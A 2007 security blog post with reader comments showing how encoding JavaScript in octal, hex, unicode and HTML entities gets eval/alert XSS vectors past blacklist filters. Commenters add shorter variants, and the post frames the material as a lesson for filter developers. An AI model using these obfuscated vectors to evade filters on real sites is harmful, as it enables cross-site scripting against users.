Javascript for hackers part 2
Wednesday, 12 December 2007
In my second part of Javascript for hackers I shall be showing how pointless it is to ban the use of document, location etc within form variables.
You can create some truly amazing strings which are unreadable to the human eye, many more vectors are available on the sla.ckers thread I created but I’ll show the juicy ones here.
First off what has it to do with XSS you may ask? With these character combinations you can allow access to javascript objects that was previously filtered out. If you’re developing any sort of serious blacklist filter then you need to consider as much as possible. In future sites may be communicating with each other via Javascript and to do this you must know what is harmful and what is not.
Ok boring bit over with now onto the good stuff π The following vectors were only tested on Firefox but the same sort of encoding may also work on other browsers with a bit of hacking.
The basic vector
0['eval']('alert(1)')
In case you didn’t know, in Firefox it’s possible to call the eval function from pretty much anywhere. So in the example above zero could be 1 + 1 or new Date() or any expression at all. The first part therefore holds the reference to the eval function and the second part calls the function you want, in this case alert.
Backslash escapes
0['eva\l']('a\lert\(1\)')
To take our vector a stage further we can also add backslash escapes, in javascript when a character is escaped that doesn’t have special meaning it is returned as normal.
Encoding strings
Octal encoding, notice how the ‘e’ is created:-
0['\145val']('alert(1)')
Hex encoding:-
0['\x65val']('alert(1)')
Unicode:-
0['\u0065val']('alert(1)')
Javascript allows many different types of encoding within strings and it’s quite easy to obscure the code. The above examples shows how each different encoding replaces the letter “e” in the vector. This could be applied to the entire string but I only replaced one letter to make it easy to see what is going on.
Encoding nearly everything
Unicode vector:-
\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029
The above vector in plain text:-
alert(1)
You can also encode javascript objects, functions or operators using unicode. The example above calls a simple “alert(1)” function. Why did I say nearly everything? It seems Javascript only allows you to encode the first quoting character of a string, the second must be in plain text in order for the vector to work. Look at the example below to understand this:-
Encoded vector, notice the last single quote cannot be encoded:-
\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0048\u0065\u006c\u006c\u006f'\u0029
In plain text:-
alert('Hello')
The final vectors
Vector 1:-
\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029
Vector 2:-
\u0030\u005b\u0022\x65\x76\x61\x6C"\u005d\u0028\u0027\x61\x6C\x65\x72\x74\x28\x31\x29'\u0029
Both vectors are based on the original one in the article with slight variations in quoting characters:-
0['eval']('alert(1)')
So as you can see from the above filtering out “document” won’t get you anywhere, you need to consider all possible variations. Both vectors use a combination of unicode, hex and octal encoding to produce the required code.
I’m not just gonna leave it there either π there is one final vector which you have to consider, say for instance you filter out the “\” character to prevent these sort of attacks, the url also allows entities so it’s possible to encode the attacks mentioned again with html entities. For example:-
<a href="javascript:\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029">Test</a>
Becomes:-
<a href="javascript:\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029">Test</a>
Crazy eh? That actually works heh. You may be wondering how I manage to create all these vectors?…well I can scan javascript code and unicode tables in my head and automatically perform the conversions in nano seconds…joke. I use my Hackvertor tool to do the hard work for me π
No. 1 — December 12th, 2007 at 3:05 am
Great Gareth,
another wonderful post, easy to understand but rich of meaning, really useful for each one who doesn’t know javascript “tips” and also useful to rehearse the subject .
No. 2 — December 12th, 2007 at 3:17 am
good writeup. it’s nice having all of these vectors in place along with the explanatory text. All the recent bypasses to the PHPIDS have used these techniques (as i’m sure you know since you found them) π
No. 3 — December 12th, 2007 at 5:43 am
too long for my taste
0..eval(‘alert(1)’)
works as well π a few chars less
No. 4 — December 12th, 2007 at 9:19 am
@Marco @Master Ternary Li
Glad you enjoyed them π I’ll do some more write ups if I find any new vectors
@pdp
Nice π got anymore?
No. 5 — December 12th, 2007 at 2:10 pm
Check this out π
0/alert(1)
No. 6 — February 18th, 2008 at 9:41 am
<script>alert(“hi”);</script>
No. 7 — February 18th, 2008 at 10:32 am
@josh
<script>alert(/LOL/)</script>
No. 8 — March 18th, 2008 at 1:57 am
To take our vector a stage further we can also add backslash escapes, in javascript when a character is escaped that doesnΓ’β¬β’t have special meaning it is returned as normal.
is it defined in ecmascript?
it doesn’t work in IE….
No. 9 — March 18th, 2008 at 2:05 am
@loveshell
It does work in IE but in certain circumstances and certain chars, yes I’m pretty sure it’s defined in ecmascript.
No. 10 — May 12th, 2008 at 4:06 am
This seems to work only on Firefox. No IE, Opera, Safari.
Gareth, if you had to encode it so that it would work on most browsers, what code would you use?
No. 11 — May 14th, 2008 at 9:22 pm
@k
Unicode and html entities would be the best cross platform solution:-
Example